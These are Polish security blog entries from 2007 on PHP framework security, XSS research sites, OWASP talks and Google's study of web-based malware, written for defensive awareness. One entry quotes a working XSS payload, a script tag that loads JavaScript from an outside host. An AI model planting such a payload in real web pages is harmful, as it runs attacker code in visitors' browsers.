runic.pl
Bezpieczeństwo aplikacji internetowych

Framework niekoniecznie bezpieczniejszy

[19-08-2007]

Wielokrotnie słyszałem opinię, że korzystanie z gotowych frameworków PHP rozwiązuje podstawowe problemy z bezpieczeństwem aplikacji. Jest w niej dużo racji, zwłaszcza jeśli chodzi o proste projekty tworzone przez niekoniecznie zaawansowanych programistów. Trzeba jednak pamiętać, że wykorzystanie obcego kodu wiąże się z jego jawnością dla potencjalnych atakujących, oraz że nie każdy framework jest tworzony z myślą o bezpieczeństwie.

Nie korzystam na co dzień z takich rozwiązań, zetknąłem się jedynie z Cake, Symfony i CodeIgniter – a okazję, by przyjrzeć się dokładniej, miałem tylko przy tym ostatnim. Z trzech wspomnianych CodeIgniter jest zresztą (moim zdaniem) najbardziej czytelny i najłatwiejszy do analizy. Efektem tego przeglądu było kilka poprawek, które trafiły do wersji 1.5.4.

W trakcie bardzo krótkiej korespondencji na temat zgłoszeń odniosłem wrażenie, że twórcy CodeIgnitera nie przypisują frameworkowi odpowiedzialności za bezpieczeństwo aplikacji. Ma on być ułatwieniem, ale programista nadal musi sam wprowadzić odpowiednie dla danej funkcjonalności zabezpieczenia. Ciekaw jestem, czy to podejście jest podobne w przypadku innych popularnych frameworków. Tak czy inaczej, warto przeanalizować taki kod przed zastosowaniem w poważniejszym projekcie.

MKS atakuje

[13-08-2007]

Mniej więcej pół roku temu ktoś wymachiwał w sieci próbą ataku XSS o takiej treści: <script src=”http://download.mks.com.pl/lab/test.js”></script>:

Dzisiaj przeglądając korespondencję (66 dni offline – koszmar), trafiłem jeszcze raz na informację o tym skrypcie. Z ciekawości zajrzałem: http://download.mks.com.pl/lab/, mając nadzieję na więcej informacji na temat ataków sprzed pół roku. Zamiast tego – niezbyt porywające statystyki, i mały bonus:

Ups, nie wyszło… To może w ten sposób?

OWASP AppSec 2007

[19-05-2007]

Kilka prezentacji z tegorocznej konferencji OWASP AppSec, które moim zdaniem warto przejrzeć:

XSSed.com

[17-05-2007]

XSSed.com to serwis, którego użytkownicy mogą rywalizować w poszukiwaniach podatności na XSS w popularnych serwisach. Ciekawy jest sposób punktacji – każda załatana luka jest premiowana, co prawdopodobnie ma zachęcić do zgłaszania swoich odkryć twórcom dziurawych stron.

Web Based Malware

[16-05-2007]

Aktualizacja (17 maja): Wbrew temu, co twierdzi większość serwisów informacyjnych, raport pracowników Google nie stwierdza, że 10% stron internetowych zawiera malware. Liczba ta dotyczy 450 tysięcy z 4,5 miliona stron, które zostały wybrane jako podejrzane podczas wstępnej selekcji. Faktyczna liczba badanych stron była znacznie większa – a więc szkodliwe jest nie 10%, ale ułamek promila.

Na stronie HotBots udostępnione zostały materiały z tegorocznych warsztatów poświęconych botnetom. Na szczególną uwagę zasługuje The Ghost In The Browser. Analysis of Web Based Malware, przygotowany przez pracowników Google. Przedstawia on najpopularniejsze metody rozprzestrzeniania złośliwego oprogramowania poprzez strony internetowe:

  • włamania mające na celu modyfikację kodu aplikacji na serwerze (np. dodanie ramki ze złośliwą „stroną-matką”)
  • ataki XSS typu persistent (szczególnie w aplikacjach blogowych, forach internetowych i serwisach społecznościowych)
  • wykorzystanie reklam, statystyk lub innych skryptów z zewnętrzej domeny (umieszczonych przez twórcę strony w dobrej wierze)

Zwłaszcza ostatni punkt jest niepokojący, ponieważ tego typu narzędzia skryptowe są bardzo powszechne. Jako ciekawostkę autorzy podają fakt, że jeden z obserwowanych skryptów statystyk funkcjonował poprawnie przez cztery lata, zanim przekształcił się w złośliwy kod. To cenne ostrzeżenie dla wszystkich serwisów wykorzystujących jakiekolwiek skrypty z zewnętrznej domeny, a zwłaszcza te mniej zaufane niż Gemius czy Google Analytics.

Złośliwe strony wykorzystują JavaScript również do rozpoznania oprogramowania stosowanego przez ofiarę, i serwowania na tej podstawie odpowiedniego exploita. Demo narzędzia realizującego podobne zadanie można znaleźć tutaj

Zainteresowanym tą tematyką polecam pełny tekst: The Ghost In The Browser. Analysis of Web Based Malware.